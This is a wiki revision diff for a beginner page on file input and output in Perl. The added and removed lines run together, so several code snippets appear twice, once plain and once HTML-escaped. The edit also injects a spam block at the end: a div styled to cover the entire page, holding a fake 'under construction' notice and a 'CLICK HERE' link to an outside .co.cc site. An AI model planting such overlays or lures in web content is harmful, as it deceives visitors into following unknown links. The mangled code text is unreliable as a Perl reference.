Changes

File I/O in Perl

505 bytes added, 03:14, 18 November 2010
The following lines were added (+) and removed (-):
== Open a file to READ ==>== Open a file to READ ==  $strVariable = <BOBSFILE>;  $strVariable = &lt;BOBSFILE&gt;;  open (FILE,"$guestbk") || die "Can't Open $guestbk: $!\n";  open (FILE,&quot;$guestbk&quot;) || die &quot;Can't Open $guestbk: $!\n&quot;;  while( $line = <FILE> ){  while( $line = &lt;FILE&gt; ){   print "$lnum: $line\n";   print &quot;$lnum: $line\n&quot;;  @eachline = <FILE>;  @eachline = &lt;FILE&gt;;  print "@eachline";  print &quot;@eachline&quot;;&nbsp;&amp;nbsp; ----<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">----=[http://inaroregi.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=----=[http://inaroregi.co.cc CLICK HERE]=----</div>